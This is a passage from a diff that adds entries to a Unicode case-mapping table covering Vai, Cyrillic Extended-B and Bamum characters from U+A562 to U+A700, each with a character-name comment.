+ ["\uA562", "\uA562"], /* VAI SYLLABLE SA */
+ ["\uA563", "\uA563"], /* VAI SYLLABLE SHA */
+ ["\uA564", "\uA564"], /* VAI SYLLABLE ZA */
+ ["\uA565", "\uA565"], /* VAI SYLLABLE ZHA */
+ ["\uA566", "\uA566"], /* VAI SYLLABLE CA */
+ ["\uA567", "\uA567"], /* VAI SYLLABLE JA */
+ ["\uA568", "\uA568"], /* VAI SYLLABLE NJA */
+ ["\uA569", "\uA569"], /* VAI SYLLABLE YA */
+ ["\uA56A", "\uA56A"], /* VAI SYLLABLE KA */
+ ["\uA56B", "\uA56B"], /* VAI SYLLABLE KAN */
+ ["\uA56C", "\uA56C"], /* VAI SYLLABLE NGGA */
+ ["\uA56D", "\uA56D"], /* VAI SYLLABLE GA */
+ ["\uA56E", "\uA56E"], /* VAI SYLLABLE MA */
+ ["\uA56F", "\uA56F"], /* VAI SYLLABLE NA */
+ ["\uA570", "\uA570"], /* VAI SYLLABLE NYA */
+ ["\uA571", "\uA571"], /* VAI SYLLABLE OO */
+ ["\uA572", "\uA572"], /* VAI SYLLABLE OON */
+ ["\uA573", "\uA573"], /* VAI SYLLABLE HOO */
+ ["\uA574", "\uA574"], /* VAI SYLLABLE WOO */
+ ["\uA575", "\uA575"], /* VAI SYLLABLE WOON */
+ ["\uA576", "\uA576"], /* VAI SYLLABLE POO */
+ ["\uA577", "\uA577"], /* VAI SYLLABLE BHOO */
+ ["\uA578", "\uA578"], /* VAI SYLLABLE BOO */
+ ["\uA579", "\uA579"], /* VAI SYLLABLE MBOO */
+ ["\uA57A", "\uA57A"], /* VAI SYLLABLE KPOO */
+ ["\uA57B", "\uA57B"], /* VAI SYLLABLE MGBOO */
+ ["\uA57C", "\uA57C"], /* VAI SYLLABLE GBOO */
+ ["\uA57D", "\uA57D"], /* VAI SYLLABLE FOO */
+ ["\uA57E", "\uA57E"], /* VAI SYLLABLE VOO */
+ ["\uA57F", "\uA57F"], /* VAI SYLLABLE TOO */
+ ["\uA580", "\uA580"], /* VAI SYLLABLE THOO */
+ ["\uA581", "\uA581"], /* VAI SYLLABLE DHOO */
+ ["\uA582", "\uA582"], /* VAI SYLLABLE DHHOO */
+ ["\uA583", "\uA583"], /* VAI SYLLABLE LOO */
+ ["\uA584", "\uA584"], /* VAI SYLLABLE ROO */
+ ["\uA585", "\uA585"], /* VAI SYLLABLE DOO */
+ ["\uA586", "\uA586"], /* VAI SYLLABLE NDOO */
+ ["\uA587", "\uA587"], /* VAI SYLLABLE SOO */
+ ["\uA588", "\uA588"], /* VAI SYLLABLE SHOO */
+ ["\uA589", "\uA589"], /* VAI SYLLABLE ZOO */
+ ["\uA58A", "\uA58A"], /* VAI SYLLABLE ZHOO */
+ ["\uA58B", "\uA58B"], /* VAI SYLLABLE COO */
+ ["\uA58C", "\uA58C"], /* VAI SYLLABLE JOO */
+ ["\uA58D", "\uA58D"], /* VAI SYLLABLE NJOO */
+ ["\uA58E", "\uA58E"], /* VAI SYLLABLE YOO */
+ ["\uA58F", "\uA58F"], /* VAI SYLLABLE KOO */
+ ["\uA590", "\uA590"], /* VAI SYLLABLE NGGOO */
+ ["\uA591", "\uA591"], /* VAI SYLLABLE GOO */
+ ["\uA592", "\uA592"], /* VAI SYLLABLE MOO */
+ ["\uA593", "\uA593"], /* VAI SYLLABLE NOO */
+ ["\uA594", "\uA594"], /* VAI SYLLABLE NYOO */
+ ["\uA595", "\uA595"], /* VAI SYLLABLE U */
+ ["\uA596", "\uA596"], /* VAI SYLLABLE UN */
+ ["\uA597", "\uA597"], /* VAI SYLLABLE HU */
+ ["\uA598", "\uA598"], /* VAI SYLLABLE HUN */
+ ["\uA599", "\uA599"], /* VAI SYLLABLE WU */
+ ["\uA59A", "\uA59A"], /* VAI SYLLABLE WUN */
+ ["\uA59B", "\uA59B"], /* VAI SYLLABLE PU */
+ ["\uA59C", "\uA59C"], /* VAI SYLLABLE BHU */
+ ["\uA59D", "\uA59D"], /* VAI SYLLABLE BU */
+ ["\uA59E", "\uA59E"], /* VAI SYLLABLE MBU */
+ ["\uA59F", "\uA59F"], /* VAI SYLLABLE KPU */
+ ["\uA5A0", "\uA5A0"], /* VAI SYLLABLE MGBU */
+ ["\uA5A1", "\uA5A1"], /* VAI SYLLABLE GBU */
+ ["\uA5A2", "\uA5A2"], /* VAI SYLLABLE FU */
+ ["\uA5A3", "\uA5A3"], /* VAI SYLLABLE VU */
+ ["\uA5A4", "\uA5A4"], /* VAI SYLLABLE TU */
+ ["\uA5A5", "\uA5A5"], /* VAI SYLLABLE THU */
+ ["\uA5A6", "\uA5A6"], /* VAI SYLLABLE DHU */
+ ["\uA5A7", "\uA5A7"], /* VAI SYLLABLE DHHU */
+ ["\uA5A8", "\uA5A8"], /* VAI SYLLABLE LU */
+ ["\uA5A9", "\uA5A9"], /* VAI SYLLABLE RU */
+ ["\uA5AA", "\uA5AA"], /* VAI SYLLABLE DU */
+ ["\uA5AB", "\uA5AB"], /* VAI SYLLABLE NDU */
+ ["\uA5AC", "\uA5AC"], /* VAI SYLLABLE SU */
+ ["\uA5AD", "\uA5AD"], /* VAI SYLLABLE SHU */
+ ["\uA5AE", "\uA5AE"], /* VAI SYLLABLE ZU */
+ ["\uA5AF", "\uA5AF"], /* VAI SYLLABLE ZHU */
+ ["\uA5B0", "\uA5B0"], /* VAI SYLLABLE CU */
+ ["\uA5B1", "\uA5B1"], /* VAI SYLLABLE JU */
+ ["\uA5B2", "\uA5B2"], /* VAI SYLLABLE NJU */
+ ["\uA5B3", "\uA5B3"], /* VAI SYLLABLE YU */
+ ["\uA5B4", "\uA5B4"], /* VAI SYLLABLE KU */
+ ["\uA5B5", "\uA5B5"], /* VAI SYLLABLE NGGU */
+ ["\uA5B6", "\uA5B6"], /* VAI SYLLABLE GU */
+ ["\uA5B7", "\uA5B7"], /* VAI SYLLABLE MU */
+ ["\uA5B8", "\uA5B8"], /* VAI SYLLABLE NU */
+ ["\uA5B9", "\uA5B9"], /* VAI SYLLABLE NYU */
+ ["\uA5BA", "\uA5BA"], /* VAI SYLLABLE O */
+ ["\uA5BB", "\uA5BB"], /* VAI SYLLABLE ON */
+ ["\uA5BC", "\uA5BC"], /* VAI SYLLABLE NGON */
+ ["\uA5BD", "\uA5BD"], /* VAI SYLLABLE HO */
+ ["\uA5BE", "\uA5BE"], /* VAI SYLLABLE HON */
+ ["\uA5BF", "\uA5BF"], /* VAI SYLLABLE WO */
+ ["\uA5C0", "\uA5C0"], /* VAI SYLLABLE WON */
+ ["\uA5C1", "\uA5C1"], /* VAI SYLLABLE PO */
+ ["\uA5C2", "\uA5C2"], /* VAI SYLLABLE BHO */
+ ["\uA5C3", "\uA5C3"], /* VAI SYLLABLE BO */
+ ["\uA5C4", "\uA5C4"], /* VAI SYLLABLE MBO */
+ ["\uA5C5", "\uA5C5"], /* VAI SYLLABLE KPO */
+ ["\uA5C6", "\uA5C6"], /* VAI SYLLABLE MGBO */
+ ["\uA5C7", "\uA5C7"], /* VAI SYLLABLE GBO */
+ ["\uA5C8", "\uA5C8"], /* VAI SYLLABLE GBON */
+ ["\uA5C9", "\uA5C9"], /* VAI SYLLABLE FO */
+ ["\uA5CA", "\uA5CA"], /* VAI SYLLABLE VO */
+ ["\uA5CB", "\uA5CB"], /* VAI SYLLABLE TO */
+ ["\uA5CC", "\uA5CC"], /* VAI SYLLABLE THO */
+ ["\uA5CD", "\uA5CD"], /* VAI SYLLABLE DHO */
+ ["\uA5CE", "\uA5CE"], /* VAI SYLLABLE DHHO */
+ ["\uA5CF", "\uA5CF"], /* VAI SYLLABLE LO */
+ ["\uA5D0", "\uA5D0"], /* VAI SYLLABLE RO */
+ ["\uA5D1", "\uA5D1"], /* VAI SYLLABLE DO */
+ ["\uA5D2", "\uA5D2"], /* VAI SYLLABLE NDO */
+ ["\uA5D3", "\uA5D3"], /* VAI SYLLABLE SO */
+ ["\uA5D4", "\uA5D4"], /* VAI SYLLABLE SHO */
+ ["\uA5D5", "\uA5D5"], /* VAI SYLLABLE ZO */
+ ["\uA5D6", "\uA5D6"], /* VAI SYLLABLE ZHO */
+ ["\uA5D7", "\uA5D7"], /* VAI SYLLABLE CO */
+ ["\uA5D8", "\uA5D8"], /* VAI SYLLABLE JO */
+ ["\uA5D9", "\uA5D9"], /* VAI SYLLABLE NJO */
+ ["\uA5DA", "\uA5DA"], /* VAI SYLLABLE YO */
+ ["\uA5DB", "\uA5DB"], /* VAI SYLLABLE KO */
+ ["\uA5DC", "\uA5DC"], /* VAI SYLLABLE NGGO */
+ ["\uA5DD", "\uA5DD"], /* VAI SYLLABLE GO */
+ ["\uA5DE", "\uA5DE"], /* VAI SYLLABLE MO */
+ ["\uA5DF", "\uA5DF"], /* VAI SYLLABLE NO */
+ ["\uA5E0", "\uA5E0"], /* VAI SYLLABLE NYO */
+ ["\uA5E1", "\uA5E1"], /* VAI SYLLABLE E */
+ ["\uA5E2", "\uA5E2"], /* VAI SYLLABLE EN */
+ ["\uA5E3", "\uA5E3"], /* VAI SYLLABLE NGEN */
+ ["\uA5E4", "\uA5E4"], /* VAI SYLLABLE HE */
+ ["\uA5E5", "\uA5E5"], /* VAI SYLLABLE HEN */
+ ["\uA5E6", "\uA5E6"], /* VAI SYLLABLE WE */
+ ["\uA5E7", "\uA5E7"], /* VAI SYLLABLE WEN */
+ ["\uA5E8", "\uA5E8"], /* VAI SYLLABLE PE */
+ ["\uA5E9", "\uA5E9"], /* VAI SYLLABLE BHE */
+ ["\uA5EA", "\uA5EA"], /* VAI SYLLABLE BE */
+ ["\uA5EB", "\uA5EB"], /* VAI SYLLABLE MBE */
+ ["\uA5EC", "\uA5EC"], /* VAI SYLLABLE KPE */
+ ["\uA5ED", "\uA5ED"], /* VAI SYLLABLE KPEN */
+ ["\uA5EE", "\uA5EE"], /* VAI SYLLABLE MGBE */
+ ["\uA5EF", "\uA5EF"], /* VAI SYLLABLE GBE */
+ ["\uA5F0", "\uA5F0"], /* VAI SYLLABLE GBEN */
+ ["\uA5F1", "\uA5F1"], /* VAI SYLLABLE FE */
+ ["\uA5F2", "\uA5F2"], /* VAI SYLLABLE VE */
+ ["\uA5F3", "\uA5F3"], /* VAI SYLLABLE TE */
+ ["\uA5F4", "\uA5F4"], /* VAI SYLLABLE THE */
+ ["\uA5F5", "\uA5F5"], /* VAI SYLLABLE DHE */
+ ["\uA5F6", "\uA5F6"], /* VAI SYLLABLE DHHE */
+ ["\uA5F7", "\uA5F7"], /* VAI SYLLABLE LE */
+ ["\uA5F8", "\uA5F8"], /* VAI SYLLABLE RE */
+ ["\uA5F9", "\uA5F9"], /* VAI SYLLABLE DE */
+ ["\uA5FA", "\uA5FA"], /* VAI SYLLABLE NDE */
+ ["\uA5FB", "\uA5FB"], /* VAI SYLLABLE SE */
+ ["\uA5FC", "\uA5FC"], /* VAI SYLLABLE SHE */
+ ["\uA5FD", "\uA5FD"], /* VAI SYLLABLE ZE */
+ ["\uA5FE", "\uA5FE"], /* VAI SYLLABLE ZHE */
+ ["\uA5FF", "\uA5FF"], /* VAI SYLLABLE CE */
+ ["\uA600", "\uA600"], /* VAI SYLLABLE JE */
+ ["\uA601", "\uA601"], /* VAI SYLLABLE NJE */
+ ["\uA602", "\uA602"], /* VAI SYLLABLE YE */
+ ["\uA603", "\uA603"], /* VAI SYLLABLE KE */
+ ["\uA604", "\uA604"], /* VAI SYLLABLE NGGE */
+ ["\uA605", "\uA605"], /* VAI SYLLABLE NGGEN */
+ ["\uA606", "\uA606"], /* VAI SYLLABLE GE */
+ ["\uA607", "\uA607"], /* VAI SYLLABLE GEN */
+ ["\uA608", "\uA608"], /* VAI SYLLABLE ME */
+ ["\uA609", "\uA609"], /* VAI SYLLABLE NE */
+ ["\uA60A", "\uA60A"], /* VAI SYLLABLE NYE */
+ ["\uA60B", "\uA60B"], /* VAI SYLLABLE NG */
+ ["\uA60C", "\uA60C"], /* VAI SYLLABLE LENGTHENER */
+ ["\uA60D", "\uA60D"], /* VAI COMMA */
+ ["\uA60E", "\uA60E"], /* VAI FULL STOP */
+ ["\uA60F", "\uA60F"], /* VAI QUESTION MARK */
+ ["\uA610", "\uA610"], /* VAI SYLLABLE NDOLE FA */
+ ["\uA611", "\uA611"], /* VAI SYLLABLE NDOLE KA */
+ ["\uA612", "\uA612"], /* VAI SYLLABLE NDOLE SOO */
+ ["\uA613", "\uA613"], /* VAI SYMBOL FEENG */
+ ["\uA614", "\uA614"], /* VAI SYMBOL KEENG */
+ ["\uA615", "\uA615"], /* VAI SYMBOL TING */
+ ["\uA616", "\uA616"], /* VAI SYMBOL NII */
+ ["\uA617", "\uA617"], /* VAI SYMBOL BANG */
+ ["\uA618", "\uA618"], /* VAI SYMBOL FAA */
+ ["\uA619", "\uA619"], /* VAI SYMBOL TAA */
+ ["\uA61A", "\uA61A"], /* VAI SYMBOL DANG */
+ ["\uA61B", "\uA61B"], /* VAI SYMBOL DOONG */
+ ["\uA61C", "\uA61C"], /* VAI SYMBOL KUNG */
+ ["\uA61D", "\uA61D"], /* VAI SYMBOL TONG */
+ ["\uA61E", "\uA61E"], /* VAI SYMBOL DO-O */
+ ["\uA61F", "\uA61F"], /* VAI SYMBOL JONG */
+ ["\uA620", "\uA620"], /* VAI DIGIT ZERO */
+ ["\uA621", "\uA621"], /* VAI DIGIT ONE */
+ ["\uA622", "\uA622"], /* VAI DIGIT TWO */
+ ["\uA623", "\uA623"], /* VAI DIGIT THREE */
+ ["\uA624", "\uA624"], /* VAI DIGIT FOUR */
+ ["\uA625", "\uA625"], /* VAI DIGIT FIVE */
+ ["\uA626", "\uA626"], /* VAI DIGIT SIX */
+ ["\uA627", "\uA627"], /* VAI DIGIT SEVEN */
+ ["\uA628", "\uA628"], /* VAI DIGIT EIGHT */
+ ["\uA629", "\uA629"], /* VAI DIGIT NINE */
+ ["\uA62A", "\uA62A"], /* VAI SYLLABLE NDOLE MA */
+ ["\uA62B", "\uA62B"], /* VAI SYLLABLE NDOLE DO */
+ ["\uA62C", "\uA62C"],
+ ["\uA62D", "\uA62D"],
+ ["\uA62E", "\uA62E"],
+ ["\uA62F", "\uA62F"],
+ ["\uA630", "\uA630"],
+ ["\uA631", "\uA631"],
+ ["\uA632", "\uA632"],
+ ["\uA633", "\uA633"],
+ ["\uA634", "\uA634"],
+ ["\uA635", "\uA635"],
+ ["\uA636", "\uA636"],
+ ["\uA637", "\uA637"],
+ ["\uA638", "\uA638"],
+ ["\uA639", "\uA639"],
+ ["\uA63A", "\uA63A"],
+ ["\uA63B", "\uA63B"],
+ ["\uA63C", "\uA63C"],
+ ["\uA63D", "\uA63D"],
+ ["\uA63E", "\uA63E"],
+ ["\uA63F", "\uA63F"],
+ ["\uA640", "\uA641"], /* CYRILLIC CAPITAL LETTER ZEMLYA */
+ ["\uA640", "\uA641"], /* CYRILLIC SMALL LETTER ZEMLYA */
+ ["\uA642", "\uA643"], /* CYRILLIC CAPITAL LETTER DZELO */
+ ["\uA642", "\uA643"], /* CYRILLIC SMALL LETTER DZELO */
+ ["\uA644", "\uA645"], /* CYRILLIC CAPITAL LETTER REVERSED DZE */
+ ["\uA644", "\uA645"], /* CYRILLIC SMALL LETTER REVERSED DZE */
+ ["\uA646", "\uA647"], /* CYRILLIC CAPITAL LETTER IOTA */
+ ["\uA646", "\uA647"], /* CYRILLIC SMALL LETTER IOTA */
+ ["\uA648", "\uA649"], /* CYRILLIC CAPITAL LETTER DJERV */
+ ["\uA648", "\uA649"], /* CYRILLIC SMALL LETTER DJERV */
+ ["\uA64A", "\uA64B"], /* CYRILLIC CAPITAL LETTER MONOGRAPH UK */
+ ["\uA64A", "\uA64B"], /* CYRILLIC SMALL LETTER MONOGRAPH UK */
+ ["\uA64C", "\uA64D"], /* CYRILLIC CAPITAL LETTER BROAD OMEGA */
+ ["\uA64C", "\uA64D"], /* CYRILLIC SMALL LETTER BROAD OMEGA */
+ ["\uA64E", "\uA64F"], /* CYRILLIC CAPITAL LETTER NEUTRAL YER */
+ ["\uA64E", "\uA64F"], /* CYRILLIC SMALL LETTER NEUTRAL YER */
+ ["\uA650", "\uA651"], /* CYRILLIC CAPITAL LETTER YERU WITH BACK YER */
+ ["\uA650", "\uA651"], /* CYRILLIC SMALL LETTER YERU WITH BACK YER */
+ ["\uA652", "\uA653"], /* CYRILLIC CAPITAL LETTER IOTIFIED YAT */
+ ["\uA652", "\uA653"], /* CYRILLIC SMALL LETTER IOTIFIED YAT */
+ ["\uA654", "\uA655"], /* CYRILLIC CAPITAL LETTER REVERSED YU */
+ ["\uA654", "\uA655"], /* CYRILLIC SMALL LETTER REVERSED YU */
+ ["\uA656", "\uA657"], /* CYRILLIC CAPITAL LETTER IOTIFIED A */
+ ["\uA656", "\uA657"], /* CYRILLIC SMALL LETTER IOTIFIED A */
+ ["\uA658", "\uA659"], /* CYRILLIC CAPITAL LETTER CLOSED LITTLE YUS */
+ ["\uA658", "\uA659"], /* CYRILLIC SMALL LETTER CLOSED LITTLE YUS */
+ ["\uA65A", "\uA65B"], /* CYRILLIC CAPITAL LETTER BLENDED YUS */
+ ["\uA65A", "\uA65B"], /* CYRILLIC SMALL LETTER BLENDED YUS */
+ ["\uA65C", "\uA65D"], /* CYRILLIC CAPITAL LETTER IOTIFIED CLOSED LITTLE YUS */
+ ["\uA65C", "\uA65D"], /* CYRILLIC SMALL LETTER IOTIFIED CLOSED LITTLE YUS */
+ ["\uA65E", "\uA65F"], /* CYRILLIC CAPITAL LETTER YN */
+ ["\uA65E", "\uA65F"], /* CYRILLIC SMALL LETTER YN */
+ ["\uA660", "\uA661"], /* CYRILLIC CAPITAL LETTER REVERSED TSE */
+ ["\uA660", "\uA661"], /* CYRILLIC SMALL LETTER REVERSED TSE */
+ ["\uA662", "\uA663"], /* CYRILLIC CAPITAL LETTER SOFT DE */
+ ["\uA662", "\uA663"], /* CYRILLIC SMALL LETTER SOFT DE */
+ ["\uA664", "\uA665"], /* CYRILLIC CAPITAL LETTER SOFT EL */
+ ["\uA664", "\uA665"], /* CYRILLIC SMALL LETTER SOFT EL */
+ ["\uA666", "\uA667"], /* CYRILLIC CAPITAL LETTER SOFT EM */
+ ["\uA666", "\uA667"], /* CYRILLIC SMALL LETTER SOFT EM */
+ ["\uA668", "\uA669"], /* CYRILLIC CAPITAL LETTER MONOCULAR O */
+ ["\uA668", "\uA669"], /* CYRILLIC SMALL LETTER MONOCULAR O */
+ ["\uA66A", "\uA66B"], /* CYRILLIC CAPITAL LETTER BINOCULAR O */
+ ["\uA66A", "\uA66B"], /* CYRILLIC SMALL LETTER BINOCULAR O */
+ ["\uA66C", "\uA66D"], /* CYRILLIC CAPITAL LETTER DOUBLE MONOCULAR O */
+ ["\uA66C", "\uA66D"], /* CYRILLIC SMALL LETTER DOUBLE MONOCULAR O */
+ ["\uA66E", "\uA66E"], /* CYRILLIC LETTER MULTIOCULAR O */
+ ["\uA66F", "\uA66F"], /* COMBINING CYRILLIC VZMET */
+ ["\uA670", "\uA670"], /* COMBINING CYRILLIC TEN MILLIONS SIGN */
+ ["\uA671", "\uA671"], /* COMBINING CYRILLIC HUNDRED MILLIONS SIGN */
+ ["\uA672", "\uA672"], /* COMBINING CYRILLIC THOUSAND MILLIONS SIGN */
+ ["\uA673", "\uA673"], /* SLAVONIC ASTERISK */
+ ["\uA674", "\uA674"], /* COMBINING CYRILLIC LETTER UKRAINIAN IE */
+ ["\uA675", "\uA675"], /* COMBINING CYRILLIC LETTER I */
+ ["\uA676", "\uA676"], /* COMBINING CYRILLIC LETTER YI */
+ ["\uA677", "\uA677"], /* COMBINING CYRILLIC LETTER U */
+ ["\uA678", "\uA678"], /* COMBINING CYRILLIC LETTER HARD SIGN */
+ ["\uA679", "\uA679"], /* COMBINING CYRILLIC LETTER YERU */
+ ["\uA67A", "\uA67A"], /* COMBINING CYRILLIC LETTER SOFT SIGN */
+ ["\uA67B", "\uA67B"], /* COMBINING CYRILLIC LETTER OMEGA */
+ ["\uA67C", "\uA67C"], /* COMBINING CYRILLIC KAVYKA */
+ ["\uA67D", "\uA67D"], /* COMBINING CYRILLIC PAYEROK */
+ ["\uA67E", "\uA67E"], /* CYRILLIC KAVYKA */
+ ["\uA67F", "\uA67F"], /* CYRILLIC PAYEROK */
+ ["\uA680", "\uA681"], /* CYRILLIC CAPITAL LETTER DWE */
+ ["\uA680", "\uA681"], /* CYRILLIC SMALL LETTER DWE */
+ ["\uA682", "\uA683"], /* CYRILLIC CAPITAL LETTER DZWE */
+ ["\uA682", "\uA683"], /* CYRILLIC SMALL LETTER DZWE */
+ ["\uA684", "\uA685"], /* CYRILLIC CAPITAL LETTER ZHWE */
+ ["\uA684", "\uA685"], /* CYRILLIC SMALL LETTER ZHWE */
+ ["\uA686", "\uA687"], /* CYRILLIC CAPITAL LETTER CCHE */
+ ["\uA686", "\uA687"], /* CYRILLIC SMALL LETTER CCHE */
+ ["\uA688", "\uA689"], /* CYRILLIC CAPITAL LETTER DZZE */
+ ["\uA688", "\uA689"], /* CYRILLIC SMALL LETTER DZZE */
+ ["\uA68A", "\uA68B"], /* CYRILLIC CAPITAL LETTER TE WITH MIDDLE HOOK */
+ ["\uA68A", "\uA68B"], /* CYRILLIC SMALL LETTER TE WITH MIDDLE HOOK */
+ ["\uA68C", "\uA68D"], /* CYRILLIC CAPITAL LETTER TWE */
+ ["\uA68C", "\uA68D"], /* CYRILLIC SMALL LETTER TWE */
+ ["\uA68E", "\uA68F"], /* CYRILLIC CAPITAL LETTER TSWE */
+ ["\uA68E", "\uA68F"], /* CYRILLIC SMALL LETTER TSWE */
+ ["\uA690", "\uA691"], /* CYRILLIC CAPITAL LETTER TSSE */
+ ["\uA690", "\uA691"], /* CYRILLIC SMALL LETTER TSSE */
+ ["\uA692", "\uA693"], /* CYRILLIC CAPITAL LETTER TCHE */
+ ["\uA692", "\uA693"], /* CYRILLIC SMALL LETTER TCHE */
+ ["\uA694", "\uA695"], /* CYRILLIC CAPITAL LETTER HWE */
+ ["\uA694", "\uA695"], /* CYRILLIC SMALL LETTER HWE */
+ ["\uA696", "\uA697"], /* CYRILLIC CAPITAL LETTER SHWE */
+ ["\uA696", "\uA697"], /* CYRILLIC SMALL LETTER SHWE */
+ ["\uA698", "\uA699"], /* CYRILLIC CAPITAL LETTER DOUBLE O */
+ ["\uA698", "\uA699"], /* CYRILLIC SMALL LETTER DOUBLE O */
+ ["\uA69A", "\uA69B"], /* CYRILLIC CAPITAL LETTER CROSSED O */
+ ["\uA69A", "\uA69B"], /* CYRILLIC SMALL LETTER CROSSED O */
+ ["\uA69C", "\uA69C"], /* MODIFIER LETTER CYRILLIC HARD SIGN */
+ ["\uA69D", "\uA69D"], /* MODIFIER LETTER CYRILLIC SOFT SIGN */
+ ["\uA69E", "\uA69E"], /* COMBINING CYRILLIC LETTER EF */
+ ["\uA69F", "\uA69F"], /* COMBINING CYRILLIC LETTER IOTIFIED E */
+ ["\uA6A0", "\uA6A0"], /* BAMUM LETTER A */
+ ["\uA6A1", "\uA6A1"], /* BAMUM LETTER KA */
+ ["\uA6A2", "\uA6A2"], /* BAMUM LETTER U */
+ ["\uA6A3", "\uA6A3"], /* BAMUM LETTER KU */
+ ["\uA6A4", "\uA6A4"], /* BAMUM LETTER EE */
+ ["\uA6A5", "\uA6A5"], /* BAMUM LETTER REE */
+ ["\uA6A6", "\uA6A6"], /* BAMUM LETTER TAE */
+ ["\uA6A7", "\uA6A7"], /* BAMUM LETTER O */
+ ["\uA6A8", "\uA6A8"], /* BAMUM LETTER NYI */
+ ["\uA6A9", "\uA6A9"], /* BAMUM LETTER I */
+ ["\uA6AA", "\uA6AA"], /* BAMUM LETTER LA */
+ ["\uA6AB", "\uA6AB"], /* BAMUM LETTER PA */
+ ["\uA6AC", "\uA6AC"], /* BAMUM LETTER RII */
+ ["\uA6AD", "\uA6AD"], /* BAMUM LETTER RIEE */
+ ["\uA6AE", "\uA6AE"], /* BAMUM LETTER LEEEE */
+ ["\uA6AF", "\uA6AF"], /* BAMUM LETTER MEEEE */
+ ["\uA6B0", "\uA6B0"], /* BAMUM LETTER TAA */
+ ["\uA6B1", "\uA6B1"], /* BAMUM LETTER NDAA */
+ ["\uA6B2", "\uA6B2"], /* BAMUM LETTER NJAEM */
+ ["\uA6B3", "\uA6B3"], /* BAMUM LETTER M */
+ ["\uA6B4", "\uA6B4"], /* BAMUM LETTER SUU */
+ ["\uA6B5", "\uA6B5"], /* BAMUM LETTER MU */
+ ["\uA6B6", "\uA6B6"], /* BAMUM LETTER SHII */
+ ["\uA6B7", "\uA6B7"], /* BAMUM LETTER SI */
+ ["\uA6B8", "\uA6B8"], /* BAMUM LETTER SHEUX */
+ ["\uA6B9", "\uA6B9"], /* BAMUM LETTER SEUX */
+ ["\uA6BA", "\uA6BA"], /* BAMUM LETTER KYEE */
+ ["\uA6BB", "\uA6BB"], /* BAMUM LETTER KET */
+ ["\uA6BC", "\uA6BC"], /* BAMUM LETTER NUAE */
+ ["\uA6BD", "\uA6BD"], /* BAMUM LETTER NU */
+ ["\uA6BE", "\uA6BE"], /* BAMUM LETTER NJUAE */
+ ["\uA6BF", "\uA6BF"], /* BAMUM LETTER YOQ */
+ ["\uA6C0", "\uA6C0"], /* BAMUM LETTER SHU */
+ ["\uA6C1", "\uA6C1"], /* BAMUM LETTER YUQ */
+ ["\uA6C2", "\uA6C2"], /* BAMUM LETTER YA */
+ ["\uA6C3", "\uA6C3"], /* BAMUM LETTER NSHA */
+ ["\uA6C4", "\uA6C4"], /* BAMUM LETTER KEUX */
+ ["\uA6C5", "\uA6C5"], /* BAMUM LETTER PEUX */
+ ["\uA6C6", "\uA6C6"], /* BAMUM LETTER NJEE */
+ ["\uA6C7", "\uA6C7"], /* BAMUM LETTER NTEE */
+ ["\uA6C8", "\uA6C8"], /* BAMUM LETTER PUE */
+ ["\uA6C9", "\uA6C9"], /* BAMUM LETTER WUE */
+ ["\uA6CA", "\uA6CA"], /* BAMUM LETTER PEE */
+ ["\uA6CB", "\uA6CB"], /* BAMUM LETTER FEE */
+ ["\uA6CC", "\uA6CC"], /* BAMUM LETTER RU */
+ ["\uA6CD", "\uA6CD"], /* BAMUM LETTER LU */
+ ["\uA6CE", "\uA6CE"], /* BAMUM LETTER MI */
+ ["\uA6CF", "\uA6CF"], /* BAMUM LETTER NI */
+ ["\uA6D0", "\uA6D0"], /* BAMUM LETTER REUX */
+ ["\uA6D1", "\uA6D1"], /* BAMUM LETTER RAE */
+ ["\uA6D2", "\uA6D2"], /* BAMUM LETTER KEN */
+ ["\uA6D3", "\uA6D3"], /* BAMUM LETTER NGKWAEN */
+ ["\uA6D4", "\uA6D4"], /* BAMUM LETTER NGGA */
+ ["\uA6D5", "\uA6D5"], /* BAMUM LETTER NGA */
+ ["\uA6D6", "\uA6D6"], /* BAMUM LETTER SHO */
+ ["\uA6D7", "\uA6D7"], /* BAMUM LETTER PUAE */
+ ["\uA6D8", "\uA6D8"], /* BAMUM LETTER FU */
+ ["\uA6D9", "\uA6D9"], /* BAMUM LETTER FOM */
+ ["\uA6DA", "\uA6DA"], /* BAMUM LETTER WA */
+ ["\uA6DB", "\uA6DB"], /* BAMUM LETTER NA */
+ ["\uA6DC", "\uA6DC"], /* BAMUM LETTER LI */
+ ["\uA6DD", "\uA6DD"], /* BAMUM LETTER PI */
+ ["\uA6DE", "\uA6DE"], /* BAMUM LETTER LOQ */
+ ["\uA6DF", "\uA6DF"], /* BAMUM LETTER KO */
+ ["\uA6E0", "\uA6E0"], /* BAMUM LETTER MBEN */
+ ["\uA6E1", "\uA6E1"], /* BAMUM LETTER REN */
+ ["\uA6E2", "\uA6E2"], /* BAMUM LETTER MEN */
+ ["\uA6E3", "\uA6E3"], /* BAMUM LETTER MA */
+ ["\uA6E4", "\uA6E4"], /* BAMUM LETTER TI */
+ ["\uA6E5", "\uA6E5"], /* BAMUM LETTER KI */
+ ["\uA6E6", "\uA6E6"], /* BAMUM LETTER MO */
+ ["\uA6E7", "\uA6E7"], /* BAMUM LETTER MBAA */
+ ["\uA6E8", "\uA6E8"], /* BAMUM LETTER TET */
+ ["\uA6E9", "\uA6E9"], /* BAMUM LETTER KPA */
+ ["\uA6EA", "\uA6EA"], /* BAMUM LETTER TEN */
+ ["\uA6EB", "\uA6EB"], /* BAMUM LETTER NTUU */
+ ["\uA6EC", "\uA6EC"], /* BAMUM LETTER SAMBA */
+ ["\uA6ED", "\uA6ED"], /* BAMUM LETTER FAAMAE */
+ ["\uA6EE", "\uA6EE"], /* BAMUM LETTER KOVUU */
+ ["\uA6EF", "\uA6EF"], /* BAMUM LETTER KOGHOM */
+ ["\uA6F0", "\uA6F0"], /* BAMUM COMBINING MARK KOQNDON */
+ ["\uA6F1", "\uA6F1"], /* BAMUM COMBINING MARK TUKWENTIS */
+ ["\uA6F2", "\uA6F2"], /* BAMUM NJAEMLI */
+ ["\uA6F3", "\uA6F3"], /* BAMUM FULL STOP */
+ ["\uA6F4", "\uA6F4"], /* BAMUM COLON */
+ ["\uA6F5", "\uA6F5"], /* BAMUM COMMA */
+ ["\uA6F6", "\uA6F6"], /* BAMUM SEMICOLON */
+ ["\uA6F7", "\uA6F7"], /* BAMUM QUESTION MARK */
+ ["\uA6F8", "\uA6F8"],
+ ["\uA6F9", "\uA6F9"],
+ ["\uA6FA", "\uA6FA"],
+ ["\uA6FB", "\uA6FB"],
+ ["\uA6FC", "\uA6FC"],
+ ["\uA6FD", "\uA6FD"],
+ ["\uA6FE", "\uA6FE"],
+ ["\uA6FF", "\uA6FF"],
+ ["\uA700", "\uA700"], /* MODIFIER LETTER CHINESE TONE YIN PING */
